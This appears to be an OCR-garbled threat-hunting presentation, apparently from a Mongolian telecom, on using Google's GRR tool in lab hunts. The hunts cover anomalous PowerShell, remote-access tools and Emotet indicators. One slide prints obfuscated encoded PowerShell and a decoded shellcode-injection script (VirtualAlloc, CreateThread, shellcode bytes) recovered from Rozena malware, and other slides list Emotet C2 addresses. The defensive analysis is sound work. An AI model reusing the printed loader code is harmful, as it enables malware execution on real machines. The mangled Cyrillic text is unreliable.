HacaHbysH
OTroHbaaTc

M3033111MNH atoy N
GangsiblIH M3PraXku

Mobukom Kopnopa




Aryynra

* Threat Hunting - bIH Tanaap
 GRR TexHonorumH oHuUJior
* GRR awwurnacaH TypwunT




Aroynrymn 6anansir xaHraxag yumpaar
ron acyyanyya??

A\ <

Who N 4%

Detection of Too much time The lack of expert
advanced threats wasted on false security staff to assist
(hidden, unknown, positive alerts with threat mitigation

and emerging)

X cypBaJXK: https

L T N Y L oY o Y . ] T B Y L e TR Y o


https://www.domaintools.com/content/2019-Threat-Hunting-Report.pdf
https://www.domaintools.com/content/2019-Threat-Hunting-Report.pdf

Threat hunting ra>x oy B3? fAaraan?

v

“A good hockey player plays
where the puck is.

A great hockey player plays
where the puck is going to be.”

Wayne Gretzky

X CypBaJIX :

F R N R L . I E . P LY ¥ oLl I SR I L. B sl W e N Y B Y B N i o


https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536354143.pdf

Threat Hunting TexHonoryya

Cynanraa: Threat hunting xunxsa aMmap TexHoJsioryyn
awunrnagar B3?

55% - SIEM

53% - NGFW, IPS, AV, WAF, etc

* 48% - Vulnerability management
* 47% - Network IDS

X cypBaJK: https

S /hwarwvaiwnl Aormaintoanle com/cantant/2O01 0. Thraat_ Hiintina_.Bannrt nAf


https://www.domaintools.com/content/2019-Threat-Hunting-Report.pdf
https://www.domaintools.com/content/2019-Threat-Hunting-Report.pdf

Create

Th I‘eat hunting Hypotheses '

HUNTING

Threat hunting npoueccunn
3XJIYYJIXK 00J10X WanTraaH

Inform and Enrich ‘

 Anomaly Analytics
* Objective | |
. Threat Hunting Maturity Model Cycle
* |ntelligence
o KKk

- 9x cypBanx: https

Investigate via
Tools and
Techniques

New Patterns
and TTPs



https://www.threathunting.net/files/hunt-evil-practical-guide-threat-hunting.pdf
https://www.threathunting.net/files/hunt-evil-practical-guide-threat-hunting.pdf

Threat Hunting xunx 6onox
H33J1ITTOU 3XUUH TEeXHoJNoryya

GRR Rapid Response (Google)
* CimSweep

MIG (Mozilla Investigator)

* Osquery (Facebook)

* TheHive

* CIRTKIT

o KXKX

X CcypBaJIXK: .


https://github.com/meirwah/awesome-incident-response

Google Rapid Response (GRR)



GRR 6yTaL, 30pUaro

GRR Hb xangnarbiH yespx wanaranTblr 60rMHo xyrauaaHa, epreH XypasHa,
aJicaac Xxmunx 601O0OMXNNT aHanMCcTag 0JIroX 30pUJIrOTOM NPOrpam Mm

GRR Agents

T —

GRR Server




GRR 6onoMmxyyna

" Forensic xmnx>a waapasiaratan " “Yara rule” awmrnaxx ascaac caHax
OJIOH TOOHbI M343313J1 LWyrnyynax onr CKaH XNnNX
.
* AreHT CyycCaH OJIOH KOMMblOTEPYYA ®annyyn 60/10H PErncTPYYA TaTax

aBaxX MOH Xanx

* CPU, Memory, IO a4aanang
TaapyyJiax ToxupyyJax

“AreHT Hb Windows, Linux, OS X
O3MX O3

033p hunt xnunx

“byaonnaaH 033p xapwuy apra
X3M>X33 aBax, acyyonyyn ossp ayH
LLUNHXXWUT33 XUNX DOSTOMXK.

" CUCTEMUIH LUar XyrauaaHbl
XYCH3rT Xapax

10

Ix cypBanx: https


https://grr-doc.readthedocs.io/en/latest/
https://grr-doc.readthedocs.io/en/latest/

GRR B36 nHTepdaInc

Administrative

Browser Artifact list All Platforms «

Checks

Collectors I
ArifactCollectorFlow
ArifactFilesDownloaderFlow o EUE SILIE Linux
ClientArtifactCallactor AllUsersAppDataEnvironme Windows

AllLinuxScheduleFiles All Platforms

AllRunningProcessBinaryFi Darwin

DumpACPITable AllUsersProfileEnvironment?
DumpFlashlmage N [T P = B | [ e v

W itial | W . Add
KnowledgeBaselnitializationFlow Selected Artifacts .

Osquery

Use "Add” butfon or double-
slick to add arfifacts to the
Memaory list

R

Filesystem
Metwork

Processes

Registry

Use tsk

Error on no results [




GRR B36 nHTepdaInc

Administrative
Browser
Checks

Collectors

Filesystem I

Client Side File Finder
DiskVolumelnfo
FetchBufferForSparselmage
File Finder

Find Files

FingerprintFile

GetFile

GetMBR

Glob

ListDirectory
ListVolumeShadowCopies
RecursivelistDirectory
SendFile

UpdateSparselmageChunks

Memory
Metwork
Processes

Registry

Fathtype

Conditions

Action

Advanced ¥

Motify at Completion

Advanced ¥

0S (default)

+

Action

Resolve links

Advanced ¥

L]

Stat (default)




GRR B36 nHTepdaInc

Administrative

Yara signature
Browser

Check
BEks Pids
Collectors

Filesystem

Process regex
4 Memary

Process Dump Per process timeout

Yara Process Scan

Metwork .
Advanced ¥

Processes

Reqistry

Motify at Completion

Advanced ¥

Output Plugins




GRR B36 nHTepdaInc

Administrative

Filepath Regex
Browser lepath Regex @

Check
mens Fetch Binaries

Collectors

1 l||' .
Filesystem Connection states

Memaory

MNetwork

48 | | Processes

ListProcesses MNotify at Completion

Registry
Advanced ¥

Output Plugins




GRR B36 nHTepdaInc

Administrative

Keys paths @ o

Browser
Checks

HKEY USERS/%%users sid%%/Software/MicrosoftWindows!
Collectors -

Filesystem N

Conditions +
Memary

MNetwork

Processes

Notify at Completion

Client Side Registry Finder

CollectRunkeyBinaries Advanced ¥

Registry Finder

Output Plugins




GRR awmrnax threat hunting
XUUC3H TYPLUMATYYA

16



TypLUMATbIH OPYMH

. . Ubuntu server -
Windows 10 - Windows 7 - GRR server

GRR agent GRR agent Kali linux

WA WA

L e v o = - .::-'Z—_ . __-:,‘

VirtualBox

17



TypwumnTt 1 (Anomaly)

TyxanH banryynnarbiH aXXuntaHnm
COXKUTTIM pan aryyJsicaH MM
MPC3H Taslaap aXmunTaH M3433J1COH

18



TypwunnT 1: AXXUNTaH MUM3UI XYJI93H aBCHaacC XOULLUMX XaHOCcaH
annyyablH Lar xyrauaaHbl XXacraant

File list "D Timeline ~

grr-client Dow

Timestamp File Message
grr-client

o . L . - -~ File
-09-26 ¢ fosfiC:f farr- Dow J
AppData 2019-09-26 04:21:03 UTC  fsfos/C:/Users/grr-client/Downloads/desktop.ini | ccess

Downloads

. fs/os/C:/Users/grr-client/Downloads -x- File
T e N 2316 700203903d05079caleadc 136151 cdbadch518750dc604829c0d7bB0a7 cxclNuuny

my_files

fs/os/C:/Users/grr-client/Downloads -2~ File
-09-26 N B
Windows 2019-03-26 041926 UTC ) 9346700693903d05079cateadc1e36151cdbadcE518750dc604829¢0d7b80aT axe  access

-2~ File

2019-09-26 04:19:14 UTC  fsfos/C:/Users/grr-client/Downloads/aviaga_ doc
access

registry s e . -2~ File
2019-09-26 04:19:14 UTC  fsfos/C:/Users/grr-client/Downloads/tailan_doc
HKEY _LOCAL_MACHINE D
i M—-— i
SOFTWARE 2019-09-25 14:46:17 UTC  fsfos/C:/Users/grr-client/Downloads/~$46146055568d307a4812d83eeb53f0.doc L ile
SYSTEM medified

File

f= Nl gl Rl

HKEY_USERS 2019-09-25 14:46:17 UTC  fs/os/C-/Users/grr-client/Downloads/~$46146055568d307a4812d832eb53f0. doc
S.1.5.21.-1490296405-15142




Administrative
Browser
Checks
Collectors
Filesystem
Memory
Process Dump
Yara Process Scan
MNetwork
MNetstat
Processes
ListProcesses

Registry

Typwunt 1: CaHax ou 033p33c powershell racaH HapTaU
M3033/1MUT aBax flow

aff4-/C_cbc0b93476961fc3/B65H7E1FD

Be5761FD

C.cbcOb93476961cY | @

DumpProcessMemory

powershell |

Motify at Completion
Client id

RUNNIMNG

true
C.cbcOb93476961fcS | €

CumpProcessMemaory

2019-09-26 04:23:01 UTC
2019-09-26 04:29:01 UTC

admin

rnpoueccunH




TypwnnT 1: CaHax o O33p33c powershell.exe npouecc xancaH flow - biH
xapuy

State Path Flow Name Creation Time Last Active Creator

5D3TFD23 DumpPracesshMemaory 2019-09-26 04:26:05 UTC 2019-09-26 04:26:31 UTC admin

4 C4AB0FTD MultiGetFile 2019-09-26 04:23:09 UTC 2019-09-26 04:23:23 UTC admin

Pid 4128

Ppid 10300

Mame powershell exe
C\Windows\SysWOWB4\WindowsPowerShell'w1.0\powershell _exe
C\Windows\System32\WWindowsPowerShellwl.0\powershell_exe
-noniMtE
-nOI0G
-NOpROFI
WindoWsT
hidDEM
-ExeCUTIonPOlic
BypaSs
-8C
LgAoACgAJWAXACAADAAGADCAIAAZACAANQAGADMAIAAYACAAMAAGA
DMAIAADACAADQAGADgAJWALAHIAZQBQAGWAY QABDAGUAJWBCAHCAKW
AnACwWAJWBTACQAewAWAHDATQANACOACgBIAHAATABBAGMARQANACA
AJwAsACcAIwAPACIAZgANAGKAIWASACcAcWANRACWAIWBYACcALAARAL
EAJHH&sﬁCc,&“fgﬁlmll}m&J*vEIEflCc:flLﬁﬁnﬁcII]AJ*w’-\sﬁCcﬁd,&ﬁnﬁCwaBI

[N e R Iw.-.."'n."'l""."' LANITT




TypwunnTt 1: HyyuancaH ckpunT

cmdline

pOWeRShELI -wIndOwsTY HiddeN -c (-
joIN(('262826282767272b27636a41466f414f414279414645415977426c414655415477426e414549414e774172414373414a51417941446b
415851423941436b414c51424b4145384161514275414363414a774170414473415567426c4147304162774232414755414¢51424a414851
415a514274414341414a41426c4147344164674136414851415a51427441484141437742634145674161514132414773415351413341476
7415977423441466f416477425641436341'-Split'(?<=\G.{2})(?!$)") | %{[cOnVErT]::({0}{1}-FToiNt1','6").InvokE((S_),16)-aS[ChAR]})) | &('INVOKE-
EXPreS'+'slOn')

C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe -nONinTeRacTIVE -NOIOG -NoprOf -wINdowS HiDDEN -EXECUTIONPO byPass -
ec
KAAtAEoAbwBJAG4AKAAOACCAMEAOAAJWBCAHCAKWANACWAJwWB7ACQAewAWAHOATQANACOAUEBIAHAABABhAEMAZQANACAAIWASACCA)
WAPACOAZEANAGOAIWASACCAYWANACWAIJWBNACCAKQAOACZAIWATACAANAAEADgAIAAXACAAMEAgADCAIAA2ACAANWAEADMAIAAWACAA
OQAgADCAIAAXADAAIAAXADAAIAALACAAMQAgADQAJWATAFIAZOBWAGWAQQBDAEUAJWBCAHCAKWANACWAJWB7ACQAewAWAHOATQANAC
OAUgBFAHAATABBAEMARQANACAAJWASACCAJWAPACOAZEANAHAAJWASACCAbWANACWAIJWBIrACCALAANAHEAIWASACcAbgANnACWAIJwWBpPACc
ALAANACOAJwWASACCcAZQANACWAJwWB2ACcALAANAHIAJWASACCACWANACKAKQA=

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noniNtE -nOIOG -NOpROFI -WindoWSsT hldDEN -ExeCUTlonPOlic BypaSs -ec
LgAoACgAJWABOAHSAJABFACOAYgB4AE8AcgAnAHKAOAAYAFOAVWBVAEMAYgB5SAESAWQBUAHKAbgA2AEWAJABWAGIAZABLAEYARQBQADg
AdAA4AGOAawAnAFsAJABJAFOAOABYAFEAYWBIAFUATWBNAEIANWAIrACsAJQAYADKAXQBOACKALQBKAE8AaQBUACCAJwApADsAUgBIAGOAD
wB2AGUALQBJAHQAZQBtACAAJABIAGAAdgA6AHQAZQBtAHAAIJWBCAEgAaQA2AGSASQA3AGEAYWB4AFOAdwBVACCA




TypwwnnTt 1:

TanncaH ckpunT

PS5 C:\Users\grr-client> $HW3VQOTEZZBN::(('6 4 4 5 2 3 1 @' -replace \w+", "{${0}}"
-replace’ *,'")-f'e’,'p','t','y",'d","-",'a@a"') -m '[D11Import(“kernel32.d11")] pu
blic static extern IntPtr VirtualAlloc(IntPtr IpAddress, uint dwSize, uint f1All
ocationType, uint ElProtect); [D11lImport(“"kernel32.d11")] public static extern I
ntPtr CreateThreat(IntPtr IpThreadAttributes, uint dwStackSize, IntPtr IpStartAd
dress, IntPtr IpParameter, uint dwCreationFlags, IntPtr IpThreatId);[D11Import("
msvcert.dll™)] public static extern IntPtr memset(IntPtr dest, uint src, uint cou
nt};" -name 'Win32' -ns Win32Funtions -pas;[ByTE[]]

P5 C:\Users\grr-client> $shellcode = "Oxfc,Bxed,0x82,0x00,0x00,0x00,0x60,0x89, Ox
e5,8x31,0xch,0x64,0x8b,0x50,0x30,8x8b,0x52,0x0c,0x8b,8x52,0x14,0x8b,0x72,0x28, 0x
ef,0xb7,0xda,0x26,0x31,0xff,0xac,Bx3c,0x61,0x7c,Bx02,0x2c,0x20,0xc], Bxct,0x0d , Ox
01,8xc?,0xe2,0xf2,0x52,0x57,8x8b,0x52,0x10,0x8b,0xda, 0x3c,0x8b, 0xdc,0x11,0x78, Ox
e3,0x48,0x01,0xdl,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b, 8x49,0x18, 8xe3,0x3a, 0x49, Ox
8b,0x34,0x8b,0x01,0xd6,0x31, Bxff,Bxac,Oxcl,Bxct,0x0d, 0x01,0xc7,0x38,0xed, 075, Ox
16,0x03,0x7d, 0xT8,0x3b,0x7d,0x24,8x75,0xed ,Bx58,0x8b, Bx58,0x24,0x01,0xd3, 0x66, Ox
8b,8x0c,0x4db,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04 ,0x8b , 0x01 ,0xd0, 0x89 , 0x44 , 0x24 , Ox

PS C:\Users\grr-client:> $dxultBleObmS=$HW3vQBtEZZBN::{{('1 6 4 2 5 7 8 7 8 8 8 2
-replace \w+', "{${0}} -replace’ ',"")-f'1","v','c","t",'r",'u","1",'a", "0’ ). inw
ke(®,[Math]::( {1}{0} Y- ax’, "M").invoke($Y8ISFReyS5EZ.(('4 2 @ 5 1 2'-replace
N, g8 -replace” (L, -0, T, ThY, e, L, e ), Bx1000) ,0x3000, 8x48) ; for (¢
nJI23Y1ZrZJu=0;$nlI23Y17ZrZJu -le ($YBISFRgySSEZ.(('1 2 3 4 @ 5" -replace " \w+","{!
{0}} " -replace’ ", "")-f't","'1","e","'n","g", "h")-1);$n3123Y1ZrZJu++) {[vOiD ] $HW3I v}
tEZZBN:: (" {0 }{1} " -F 'mem”, "SeT " ).invoke {[iNtPTr]{$dxultBleObmS. ToInt32()+%nlI23Y.
ZrZlu),$YBISFRgyS5EZ[$n]I23¥1ZrZJu],1)};Write-Output $YBISFRgySS5EZ[$nII23Y1ZrZd
1,1;$HW3vQBtEZZBN: : (" (1} 2}{@} ' -f"EaD’, "CrEateT ', "Hr ' ).invoke(®, 0, $dxultBleObmS
8,8,8); (('6 14606176533 2" -replace’\w+", " {${0}} -replace’ ',"")-f'r','t’
rpr,rerlrarjllllrsr,r_r) 1m )-




TypwinnT 1: CyJIXK393HUNM X0n00nTYyyAblH M3433/13J1 433P33C Hb
powershell.exe npoueccninH cyJI>XK33HMM XoNboNThIr Xapax.

State Path Flow Name Creation Time Last Active Creator

4 AFECT3DT Metstat 20159-09-26 04:33:32 UTC 2019-09-26 04:33:42 UTC admin

Flow Information Reguests Results

Download As CSV (zipped)

Filtered b V. powers hell powers hel ||

Value

Family INET
Type SOCK_STREAM

Local address

FPayload

......... 1 et

Remote address

State
Pid




HUNT : bycan KJINEHTYYO O33P CIXKUTTIN pans banraa scaxmmr xapax

Stat entry

Pathtype

Path

Path options
FileFinde ult




TypwunTt 1 A33p awumrnacaH malware

Malware name : ROZENA

ROZENA malware aHx 2015 oHA
M3a3rncaH bereep fileless malware family
- [ XaMaapaar.

X cypBaJNXK: https

Y Y N B Y o T Y I T Y L o Y a e B a N T aVWaltl laYa¥W a W el Y ol B B

26


https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena
https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena

Typwunnt 2 (Objective)

XaMraananTblH CACTEM A33p
NNP33rym xopton Koabir C2
X0J1I6ONTOOP Hb UJIPYYJI3X
30pUAroop XmMmMcaH threat hunt

27



Remote Access tools :

Remote desktop
Psexec

Team viewer B -
Vi\le oo j I Botmaster
Go2Assist
LogMein
AmmyyAdmin

28

)X cypBaJK: https://attack.mitre.org/techniques/T1219/



https://attack.mitre.org/techniques/T1219/
https://attack.mitre.org/techniques/T1219/
https://attack.mitre.org/techniques/T1219/

TypwinnT 2: Remote access tool - r awmnrnax 6osoxynL, napaMmeTpbiH
COHIOJITOOP Hb Xaux

Launched Flow YaraProcessScan

affd-/C.cbc0b934 76961fcH
EF802822

Motify at Completion

Client id
YaraProcessScan
RUNMING
2019-09-27 12:08:45 UTC
2019-03-27 12:08:45 UTC

admin




TypwmnnT 2: Yara process scan - Hbl Xapwuy.

MName

Cmdline

Liime
Username
Status

Mice

Cwid

Mum threads

Family
TI_'I'I. F'E!

Local add

Remote address

State

stem32wiminit_exe

IMET
SOCK_STREAM
Ip

Port

lp
Port
ESTABLISHED

30



TypwunnT 2: Remote access tool 6anmx maragrym paviiibiH M3 433NN
aBax flow,

Launched Flow FileFinder

affd-/C.cbc0b93476961fc9/8
aDC39F 31

RUMMING
2019-09-27 12:18:51 UTC
2019-09-27 12:18:51 UTC

admin




TypwmnnT 2: CoaXXUrtam dpannbiH M34033/13J1.

Name st_size st_mtime st_ctime GRR Snapshot

wiminit.exe 886144 X 2019-07-14 01:01:42 UTC 2019-09-27 09:558:29 UTC 2019-09-27 12:193:50 UTC

[

fs 05 c Windt

wiminit.exe

Attribute Value
AFF40bject

AFF45tream

3d42615847476997613b880bdca

Age

2019-09-27 12:19:50 UTC

2019-09-27 12:19:50 UTC

2019-09-27 121950 UTC

32



Caxxurtanm pann : putty.exe

133187b78425dd1e83b66409b0862a070
£579bdodfb2dcfa63de7ceaeb71fchce
d2326e288d8501711d682cbb48a83711
515deel321dea%9870157e62206ced625
2d340df3468b197bf2c2d8df9a589768
60911d77d19720dc6006a0ave8dee35d
59e39d4cf43b1f3148408b8270d084e8b
db099747525911f906c4a545eee634b4
58454e77d04286acd9d38ff48f1c8917
7aaacb725d2d6e5ced75edblff35albc
8ed5b2all16bla77ee41751ae2a3550f6
64388191a0812065c40d6fcbob660020
25a549985b80553214e29232660580003
efa2aa8lcf9dla25085acbecf9baled5
24dda967ef174bd09t11476¢c9750619c

w32/putty.exe (installer version)
w32/puttygen.exe (installer version)
w32/puttytel.exe (installer version)
w64 /pageant.exe (installer version)
w64 /plink.exe (installer version)
w64 /pscp.exe (installer version)

w64 /psftp.exe (installer version)
w64 /putty.exe (installer version)
w64 /puttygen.exe (installer version)
w64 /puttytel.exe (installer version)
wa32/pageant.exe (installer version)
wa32/plink.exe (installer version)
wa32/pscp.exe (installer version)
wa32/psftp.exe (installer version)
wa32/putty.exe (installer version)

33



TypwunTt 3 (Intelligence)

Indicator of Compromise xanx

34



E m Otet @ ——— (r® Establish Porsistonce )
Banking =1 =

A

¥

Trojan | PO 7/ %éf

Invoice or shipment Users open document Malicious macros Emotet creates

themed spam email with malicious macros download Emotet registry auto start
with malicious malware

ssmmme keys and injects itself
\ attachments or links into running
EEESEE A ee .

processes

@ I \ /@ MNetwork Propagation m QOutlook Scraper

&
—

m| &

WaeabBrowserPass\ieaw i >
L]

e

Credential
Enumerator

Emotet reports a new

infection to its C2 | **=*x*x

server and receives

instructions
NetPass.exe

Mail PassView

cypBanx: https://www.us-cert.gov/ncas/alerts/TA18-201A


https://www.us-cert.gov/ncas/alerts/TA18-201A

Emotet gokymMeHT hannibiH md>5 :
7575884de9a0491014acdb73a32574bb

NMHaunkaTtopyya . IP 6o10oH URL

HTTP requests

PID Process Method HTTP Code IP URL Reputation

25380 powershell exe GET 200 120.77.84.124:80 http:/fasfcloud.comfirfgx83b0qafo_tdpfmobexf-
88182901/

1108 easywindow. ex POST 45 79.188.67-8080 http://45.79.188.67-8080/results/report/nsip/
77237 248 136:3080  http:A77.237.248.136:8080/vermont/results/nsip/

185142 236163443  http:/M185.142.236.163-443/codec/prep/nsipimerge/

185.142 236.163:443 tp:/i185.142.236.163:443/iab/publish/

173.214174.107:443 tp 73214174107 443/5es5s/

X CypBaJX:
572738c843208f030f01d



https://any.run/report/825e640864016505f9af61d726238c843208f030f91d515d04ddca2eb386efbd/c1914d91-3eef-4a51-8149-0fc47b5ce052#registry
https://any.run/report/825e640864016505f9af61d726238c843208f030f91d515d04ddca2eb386efbd/c1914d91-3eef-4a51-8149-0fc47b5ce052#registry

NMHaunkaTop : Bot C2 xadraac tatax aBcaH nawnoyan dausibiH — blH
YYCaX 6yn 3am

PID

2580

2580

2580

Process

powershell exe

WINWORD.EXE

powershell.exe

powershell.exe

powershell exe

Filename

CAUsers\admin's07 exe

MD5: 2D40572454EESAZETC4AB971CEFASAAAA  SHAZSE
CUserstadmintAppDataiLocaleasywindowleasywindow. exe

MD5: 20405724 54EESAZETC4A39T1CEBFASAAAS  SHAZSG

CWUsers\admintAppData\LocalMicrosoftiWindows\Temporary

MD5: 2ZDDDEDTECE3479DAAEDOSETEGLDAD... SHAZ56

CUserstadmintAppData\Roaming'WicrosoftWindows\Recen
ms~RF126d0d. TMF

MD5: AZT2B2001454EFE23A324E582F0ETOID SHAZ56
CUsers\admintAppData\Roaming'WicrosoftWindows\Recen
MD5: A2T2B2001454EFE23A324E582F0ETOID  SHAZ256

CiUsers\admintAppDataiRoaming'WicrosoftWWindows\Recen

MD5: — SHAZ56:

: G04ESDF193E4B6EC14A2462C9C63CAE28997B4B6ACT1ER13ATC4A51A192DABYZC

: G04ESDF193E4B6EC14A2462C9C63CAE28997B436ACT1ES13ATC451A192DABL2C

nternet Files\Content MSO\1DBETS9B.wmf [ owmf |
: 23977EC1BIA5ASS 1BCAICDFFB33C03AFF45BF3ERD24FFBI28ADFIFBE3A1E20978

iCustomDestinations'd93f411851d7c929. customDestinations-

r GRAATGRROF2504A02236ATT 16541 C3FCF362333253818FDFEGFDE31CO94EDR051
fiCustomDestinations'd93f411851d7c929. customDestinations-ms
r GRAATGRROF2804 402 236AT7T16541C3FCF362333253818FDFEGFDE31C94EQR051

fiCustomDestinations\YAFPW 1HSMLSMUXY ICEY NF temp




NMHaunkaTop : Pernctp ossp 6uumx 6anraa ytra

\MicrosoftiAindows\CurmmentVersion\Run
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PerncTtp O33px yTrbir TaTa> aBax Regqistry Finder flow.

Browser Launched Flow RegistryFinder

Checks affd-/C_0ec2b378bd4f06d/B21ABAFS
Collectors B21ABAFS
C.0ecZb37ebd4ff0bd &

FegistryFinder

Filesystem
Memory
Metwork

Processes Motify at Completion  true
Client id C.0ec2b378bd4ff06d €

ReqgistryFinder

Registry
Client Side Registry Finder
RUMNNING
CIII||EE’[F'.LII'IHE'_-,.’E“I'IEHES 2019-09-29 12-36-02 UTC
Registry Finder 2019-09-29 12:36:02 UTC
admin




2 KJIMEHTUWNH PErNCTP A33PX YTrbilr aBCaH Xapuy.

affd-/C_cbc0b93476961fcYregistry/HKEY USERS/S-1-5-21-1490296405-1514289932-2744711231-1001
fSoftware/Microsoft \Windows/CurrentVersion/Run/{16458187-56F4-70DA-CE37-468919146A2 T}

St size
Registry type
Stat entry Pathtype REGISTRY
HKEY _USERS/5-1-5-21-1490296405-1514289932-2744711231-1001/Software
Microsoft/\Windows/CurrentVersion/Run/{16458187-56F4-70DA-
CE37-468919146A27}

"CAUsers\grr-client\VAppDataiLocal\{16458187-56F4-70DA-CE3T-468919146A27} . exe”
FileFinderResult
2019-09-29 11:46:47 UTC

aftd-/C_Qec2b378bddfl6d/reqistry/HKEY USERS/S-1-5-21-3466138555-2574971585-1008947104-1002
iSoftware/Microsoft"Windows/CurrentVersion/Run/mailtoner

Stat entry
ol Pathtype REGISTRY

[HKEY _USERS/5-1-5-21-3468138555-2574971585-1008947104-1002/Software

nr

Microsoft\Windows/CurrentVersion/Run/mailtoner

"CAUsers\grr-client 1WAppDatatlocalimailtonerimailtoner exe”

FileFinderResult
2019-09-29 12:36:10 UTC




AHXaapan
XaHAayyJ/ncaHa
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A good hunter plays where the threat is.

A great hunter plays where the threat is going
to be.

Wayne Gretzky
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